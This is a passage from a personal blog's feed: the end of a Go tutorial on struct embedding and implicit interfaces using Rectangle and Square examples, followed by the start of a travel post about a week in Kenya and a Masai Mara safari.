</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> <span style="color:#2aa198">&#34;errors&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Rectangle encapsulates a immutable rectangle</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">type</span> Rectangle <span style="color:#268bd2">struct</span> {
</span></span><span style="display:flex;"><span>  width  <span style="color:#dc322f">int32</span>
</span></span><span style="display:flex;"><span>  height <span style="color:#dc322f">int32</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// NewRectangle is the constructor of Rectangle</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">NewRectangle</span>(width <span style="color:#dc322f">int32</span>, height <span style="color:#dc322f">int32</span>) (<span style="color:#719e07">*</span>Rectangle, <span style="color:#dc322f">error</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> width <span style="color:#719e07">&lt;=</span> <span style="color:#2aa198">0</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#cb4b16">nil</span>, errors.<span style="color:#268bd2">New</span>(<span style="color:#2aa198">&#34;width must be &gt; 0&#34;</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> height <span style="color:#719e07">&lt;=</span> <span style="color:#2aa198">0</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#cb4b16">nil</span>, errors.<span style="color:#268bd2">New</span>(<span style="color:#2aa198">&#34;height must be &gt; 0&#34;</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> <span style="color:#719e07">&amp;</span>Rectangle{width, height}, <span style="color:#cb4b16">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Width returns the width</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Guaranteed to be a positive number</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (r Rectangle) <span style="color:#268bd2">Width</span>() <span style="color:#dc322f">int32</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> r.width
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Height returns the height</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Guaranteed to be a positive number</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (r Rectangle) <span style="color:#268bd2">Height</span>() <span style="color:#dc322f">int32</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> r.height
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (r Rectangle) <span style="color:#268bd2">Area</span>() <span style="color:#dc322f">int64</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> <span style="color:#b58900">int64</span>(r.width) <span style="color:#719e07">*</span> <span style="color:#b58900">int64</span>(r.height)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And the cliché <code>Square</code> class that inherits from it</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Square struct embeds Rectangle struct</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// It gets all methods like Width() and Height() of the parent class</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// for free</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">type</span> Square <span style="color:#268bd2">struct</span> {
</span></span><span style="display:flex;"><span>  Rectangle
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// NewSquare is the constructor for the Square1 class</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">NewSquare</span>(side <span style="color:#dc322f">int32</span>) (<span style="color:#719e07">*</span>Square, <span style="color:#dc322f">error</span>) {
</span></span><span style="display:flex;"><span>  rect, err <span style="color:#719e07">:=</span> <span style="color:#268bd2">NewRectangle</span>(side, side)
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#cb4b16">nil</span>, err
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">return</span> <span style="color:#719e07">&amp;</span>Square{<span style="color:#719e07">*</span>rect}, <span style="color:#cb4b16">nil</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Note: This all works fine, if the parent Rectangle class is immutable, however, if it is mutable, then it is better to use composition. However, that&rsquo;s not a language-specific issue, so, worth discussing in a separate blog post about inheritance vs composition.</p>
<h3 id="implementation">Implementation</h3>
<p>Go supports interfaces as well. But unlike Java or C++, no explicit declaration is required.</p>
<p>For example, consider a <code>Shape</code> interface</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">type</span> Shape <span style="color:#268bd2">interface</span> {
</span></span><span style="display:flex;"><span> <span style="color:#586e75">// Area returns the area of the shape</span>
</span></span><span style="display:flex;"><span> <span style="color:#268bd2">Area</span>() <span style="color:#dc322f">int64</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, if one adds the following code to the Rectangle struct then both Rectangle and Square will be implementing the shape interface.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#586e75">// Area returns the area of the Rectangle</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (r Rectangle) <span style="color:#268bd2">Area</span>() <span style="color:#dc322f">int64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#b58900">int64</span>(r.width) <span style="color:#719e07">*</span> <span style="color:#b58900">int64</span>(r.height)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The complete example can be seen at   
    
    
<a href="https://go.dev/play/p/exbTybm0GGK?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://go.dev/play/p/exbTybm0GGK</a></p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/go" term="go" label="go"/></entry><entry><title type="html">A week in Kenya</title><link href="https://ashishb.net/travel/kenya/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/egypt/?utm_source=atom_feed" rel="related" type="text/html" title="Egypt in 8 days"/><link href="https://ashishb.net/travel/buenos-aires-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to exploring Buenos Aires"/><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Panama"/><link href="https://ashishb.net/travel/trinidad-and-tobago/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Trinidad and Tobago"/><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Singapore in 4 days"/><id>https://ashishb.net/travel/kenya/</id><author><name>Ashish Bhatia</name></author><published>2023-02-25T22:30:27+00:00</published><updated>2023-02-25T22:30:27+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Kenya&rsquo;s treasures! Safari in Masai Mara, bike Hell&rsquo;s Gate, and cruise Mombasa&rsquo;s coast—all offering exhilarating adventures and stunning wildlife.</blockquote><p>This was my first trip to Africa.
I have been to 
<a href="/travel/egypt/">Egypt</a> before.
But Egypt has a more middle-eastern vibe to it than an African one.
Compared to Egypt, in Kenya, almost everyone speaks English.
And compared to Egypt, much less touting. Kenya is known for its world-famous Masai Mara reserve.
Apart from seeing the big five animals (lion, leopard, rhino, elephant, and Cape buffalo), I would recommend a trip to the coastal city of Mombasa.</p>
<h3 id="day-1---nairobi">Day 1 - Nairobi</h3>
<p>Compared to 
<a href="/travel/egypt/">Cairo</a>, Egypt, the capital city of Nairobi is a dump. There is little to see in the city. And if you are going to Masai Mara, there is little point in going to   
    
    
<a href="https://www.kws.go.ke/parks/nairobi-national-park?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nairobi National Park</a>. I did a   
    
    
<a href="https://www.guruwalk.com/?ref=fhw89zcvw6x4aaabyp5a&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a> but the guide was mediocre. We did check out the National Archives (not recommended) and the city market.</p>
<p>One restaurant I would highly recommend for vegetarians is   
    
    
<a href="https://g.page/Bridgesorganicrestauranttubman?share&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bridges Organic</a>. Many Indian food items like chapati and bhajia are common in Kenyan restaurants. Typical food costs about 3-4$ per meal in Kenya.</p>
<figure>
    
    <a href="Kenya-food-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Kenya-food-1024x768.jpg"
         alt="A colorful plate filled with various Kenyan dishes, including chapati and bhajia, surrounded by utensils, representing a typical meal in Kenyan restaurants costing about 3-4 dollars." width="900"/> </a>
</figure>

<p>I booked a 3-day 2-night trip to Masai Mara for $320. I later paid 100$ for a one-day extension to cover Lake Naivasha and Lake Nakuru on the trip. Also, you can do it on your own and save ~50$, but it is fairly   
    
    
<a href="https://www.charlotteplansatrip.com/en/kenya/safari-masai-mara/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">complicated</a>. So, I would recommend going for a guided tour. There are only a few camps inside Masai Mara, and it is not worth staying inside them. The village right outside is cheaper and is still well-secluded from civilization.</p>
<h3 id="day-2---nairobi-to-masai-mara">Day 2 - Nairobi to Masai Mara</h3>
<p>We started at 7 AM and reached   
    
    
<a href="https://en.wikipedia.org/wiki/Great_Rift_Valley?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Great Rift Valley</a> as our first viewpoint. The valley has been formed as the two continental plates are pulling away from each other.</p>
<figure>
    
    <a href="Great-rift-valley-1024x443.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Great-rift-valley-1024x443.jpg"
         alt="Great Rift Valley captured in a panoramic view showing a dramatic geological split" width="900"/> </a>
</figure>

<p>We reached a village near Masai Mara in the afternoon, had lunch, and then did a two-hour tour (called &ldquo;game&rdquo;) in Masai Mara. The drive from Nairobi to Masai Mara is long and in the last 2-3 hours, the roads are bad. Roads inside Masai Mara aren&rsquo;t great either. For the tour, pick an open jeep, so that, you have a great view during the journey. We stayed in a camp. The camps are comfortable. No Wi-Fi. Limited electricity. Limited cellphone signal.</p>
<figure>
    
    <a href="Masai-Mara-Camp-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Camp-1024x768.jpg"
         alt="A comfortable camp setup with no Wi-Fi, limited electricity, and limited cellphone signal, located in the Masai Mara." width="900"/> </a>
</figure>

<h2 id="day-3-masai-mara">Day 3: Masai Mara</h2>
<p>We start at ~6 AM and return around 5 PM. So, it was a full day of the trip. Trust me, for most people one day is more than sufficient to see all the major animals in Masai Mara. Also, since you are not allowed to get out of the car for long, it does get boring after a while.</p>
<figure>
    
    <a href="Masai-Mara-Antelope-1024x537.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Antelope-1024x537.jpeg"
         alt="An antelope and a cape buffalo are captured in separate images, each grazing in the open landscape of the Masai Mara." width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Cape-buffalo-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Cape-buffalo-1024x768.jpg"
         alt="A cheetah in its natural habitat stands alert on grassy savanna, showcasing its distinctive spotted coat and athletic build." width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Cheetah-1024x629.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Cheetah-1024x629.jpg"
         alt="A cheetah stands alert in the Masai Mara, surrounded by tall grass, showcasing its sleek form and spotted coat." width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Crocodile-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Crocodile-1024x768.jpg"
         alt="Crocodile in Masai Mara" width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Elephant-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Elephant-1024x768.jpg"
         alt="Masai Mara - Elephant" width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Giraffe-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Giraffe-768x1024.jpg"
         alt="A Giraffe stands in a grassy savanna landscape, surrounded by trees, against a clear sky backdrop in the Masai Mara." width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Hayena-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Hayena-768x1024.jpg"
         alt="A Hyena in Masai Mara, showcasing diverse African wildlife." width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Hippos-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Hippos-1024x768.jpg"
         alt="Masai Mara - Hippopotamus" width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Leopard-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Leopard-1024x768.jpg"
         alt="A leopard lies relaxed on a tree branch in Masai Mara, surrounded by lush greenery, showcasing its natural habitat in the African savanna." width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Lion-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Lion-1024x768.jpg"
         alt="Masai Mara - Lion" width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Ostrich-1024x785.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Ostrich-1024x785.jpg"
         alt="Masai Mara - Ostrich" width="900"/> </a>
</figure>

<figure>
    
    <a href="Masai-Mara-Zebra-917x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Masai-Mara-Zebra-917x1024.jpg"
